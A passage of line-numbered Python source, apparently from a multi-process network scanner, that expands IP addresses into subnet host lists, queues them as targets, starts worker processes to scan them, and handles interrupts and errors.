u'%s/%s' % ('.'.join(ip.split('.')[:3]), args.network) 768 | if _network in ips_to_scan: 769 | continue 770 | ips_to_scan.append(_network) 771 | _ips = ipaddress.IPv4Network(u'%s/%s' % (ip, args.network), strict=False).hosts() 772 | for _ip in _ips: 773 | _ip = str(_ip) 774 | if _ip not in ips_to_scan: 775 | ips_to_scan.append(_ip) 776 | q_targets.put({'file': '', 'url': _ip}) 777 | 778 | print_msg('%s targets entered Queue.' % q_targets.qsize()) 779 | print_msg('Create %s sub Processes...' % args.p) 780 | scan_process = [] 781 | for _ in range(args.p): 782 | p = multiprocessing.Process(target=batch_scan, args=(q_targets, q_results, lock, args)) 783 | p.daemon = True 784 | p.start() 785 | scan_process.append(p) 786 | print_msg('%s sub process successfully created.' % args.p) 787 | for p in scan_process: 788 | p.join() 789 | 790 | except KeyboardInterrupt as e: 791 | print_msg('[+] User aborted, running tasks crashed.') 792 | try: 793 | while True: 794 | q_targets.get_nowait() 795 | except: 796 | pass 797 | 798 | except Exception as e: 799 | print_msg('[__main__.exception] %s %s' % (type(e), str(e))) 800 | traceback.print_exc() 801 | time.sleep(0.5) 802 | STOP_ME = True 803 | --------------------------------------------------------------------------------